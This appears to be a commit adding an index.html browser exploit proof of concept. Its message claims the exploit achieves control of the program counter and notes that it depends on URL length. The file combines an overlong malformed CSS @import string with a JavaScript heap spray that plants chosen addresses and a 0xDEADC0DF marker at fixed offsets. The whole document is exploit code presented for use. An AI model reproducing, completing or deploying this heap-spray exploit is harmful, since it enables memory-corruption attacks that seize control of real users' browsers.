Initial upload

Just a demonstration of PC control, which is most of the battle here.  The url of the index.html probably needs to be 35 chars. The sploit is sensitive to url length.

index.html

@@ -0,0 +1,19 @@
+@import "#4444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444   	44444444444444444444444";
+<script>
+function spray(size) {
+	var obj= new ArrayBuffer(size); 
+	var payload = new Uint32Array(obj);
+	for(var i=0; i < 0x200000/4;i++){
+		payload[i]=0x09202204;
+	}
+	payload[0xbc020/4]=0x09202100;
+	//payload[0xbc040/4]=0x09202004;
+	payload[0xbc204/4]=0x09202204;
+	payload[0xbc220/4]=0xDEADC0DF;
+}
+spray(0x2000000);
+
+</script>
+<style>
+@import "index.html";
+</style>